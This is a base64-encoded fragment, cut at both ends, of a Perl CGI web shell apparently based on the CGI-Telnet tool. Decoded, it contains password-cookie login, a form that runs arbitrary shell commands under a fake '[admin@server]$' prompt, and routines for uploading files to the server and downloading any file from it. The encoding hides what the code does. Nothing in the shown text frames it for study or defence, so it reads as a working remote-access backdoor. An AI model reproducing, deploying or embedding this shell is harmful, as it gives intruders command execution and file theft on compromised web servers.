zID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsKCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpCgl7CgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOwoJCSRDb29raWVzeyRpZH0gPSAkdmFsOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIiBvblN1Ym1pdD0iRW5jb2RlcignYycpIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIiBpZD0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+CjwvZm9ybT4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcwojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQ29tbWFuZFRpbWVvdXQKewoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCQlyZXR1cm4gPDxFTkQ7CjwvdGV4dGFyZWE+Cjxicj48Zm9udCBjb2xvcj15ZWxsb3c+CkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS48L2ZvbnQ+Cjxicj48Zm9udCBzaXplPSc2JyBjb2xvcj1yZWQ+S2lsbGVkIGl0ITwvZm9udD4KRU5ECgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UKewoJbG9jYWwoJEZpbGVVcmwpID0gQF87CglteSAkcmVzdWx0PSIiOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJHJlc3VsdCAuPSA8PEVORDsKU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+CgpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwKPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4KRU5ECgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCX0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsKCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLAojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJlZ2luRG93bmxvYWQKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVwbG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsKCgl9CglteSAkcmVzdWx0PSIiOwoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MKCSRyZXN1bHQgLj0gIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7CgoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZAoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOwoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7CgoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7CgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQKCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsKCQkJJHJlc3VsdCAuPSAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOwoJCX0KCQllbHNlCgkJewoJCQkkcmVzdWx0IC49ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5CiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbgojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUKIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2VycwojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFeGVjdXRlQ29tbWFuZAp7CgkkQ3VycmVudERpciA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpcik7CglteSAkcmVzdWx0PSIiOwoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvbXAoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoKCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsKCQkjIHh1YXQgdGhvbmcgdGluIGtoaSBjaHV5ZW4gZGVuIDEgdGh1IG11YyBuYW8gZG8hCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOwoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsKCX1lbHNpZigkUnVuQ29tbWFuZCA9fiBtL15ccyplZGl0XHMrKC4rKS8pCgl7CgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9yb